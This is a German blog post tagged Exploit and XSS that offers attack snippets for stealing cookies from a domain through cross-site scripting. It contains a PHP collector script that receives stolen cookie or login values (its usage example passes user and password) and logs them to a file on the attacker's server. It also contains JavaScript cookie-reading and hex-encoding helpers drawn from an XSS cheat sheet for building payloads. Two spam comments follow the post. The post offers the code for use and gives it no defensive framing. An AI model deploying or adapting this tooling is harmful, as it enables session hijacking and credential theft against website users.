Jul 02

Code Snippets

Tag: Exploit, Web Application Security, XSSThe-Wildcat @ 03:26

Wenn jemand gewisse Cookies von einer Domain “abgreifen” muss, könnten diese beiden Code Snippets hilfreich sein. Das erste PHP-Script erspart einem immer wieder ein neues Script zu schreiben weil man hier und da einen Wert mehr braucht als dort o.ä.

Mittels dem Parameter “c” werden dem Script durch : separiert die Werte mittgeteilt die übermittelt werden. Über den optionalen Parameter “l” kann ein Dateiname festgelegt werden. Anschließend müssen natürlich noch die benutzerdefinierten Werte übergeben werden.

Im Script selbst können dann noch die Werte für die Dateierweiterung, den Zugriffsmodus der Datei, den Standard Dateiname, sowie der Separator angepasst werden.

<?php
/*
#########################################################
#
#   Variable script to pass maybe cookie values from an xssed domain
#	or something totally different
#========================================================
#
#    Author:		Wildcat                                   
#
#    Website:		http://www.the-wildcat.de/                            
#
#    email:		wildcat[at]the-wildcat[DoT]de                
#
#========================================================
#
#    Usage:		http://urltoscript/scriptname.php?c=user:password&l=some_special_filename&user=max&password=something_secret  
#    
##########################################################
*/
 
function died() {
	die('go away dude');
}
function c($c) {
	if (preg_match('/[^a-z0-9_-]/i',$c) || strlen($c) > 255) died();
	return true;
}
 
$ext = '.txt';
$lf = 'exploit'.$ext;
$fm = 'a';
$separator = ':';
$p = '';
$maxReq = 35;
$_ = $_REQUEST;
 
if (!isset($_['c']) || count($_) > $maxReq) {
	died();
}else {
	if (isset($_['l']) && c($_['l'])) {
		$lf = $_['l'].$ext;
	}
 
	$params = explode(':',$_['c']);
	array_map('c',$params);
 
	if (($fh = fopen($lf,$fm)) === NULL) {
		died();
	}
 
	foreach ($params as $param) {
		if (!isset($_[$param])) died();
		$p .= sprintf('%s',$_[$param].$separator);
	}
 
	fwrite($fh,sprintf("%s\n",htmlspecialchars( /**/substr($p,0,strlen($p)-strlen($separator))/**/ ), ENT_NOQUOTES,'utf8') );
	fclose($fh);
}
?>

Ein nützliches Javascript Snippet zum auslesen, löschen und erzeugen von Cookies. Sowie eine bessere encode Funktion. Diese ist aus rsnakes XSS Cheatsheet.

function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}
function createCookie(name,value,days) {
	if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
}
function deleteCookie(name) {
	createCookie(name,"",-1);
}
function convertToHex(num) {
	var hex = '';
	for (i=0;i<num.length;i++) {
		if (num.charCodeAt(i).toString(16).toUpperCase().length < 2) {
			hex += "%0" + num.charCodeAt(i).toString(16).toUpperCase();
		} else {
			hex += "%" + num.charCodeAt(i).toString(16).toUpperCase();
		}
	}
	return hex; 
}

2 Kommentare zu “Code Snippets”

  1. Freeman meinte dazu:

    How do you do! Please e-mail me your contacts. I have a question gavin@trensavto.ru” rel=”nofollow”>……

    Thank you!…

  2. Freeman meinte dazu:

    Добрый день! thomas@sotkashop.ru” rel=”nofollow”>……

    С уважением,…

Dein Kommentar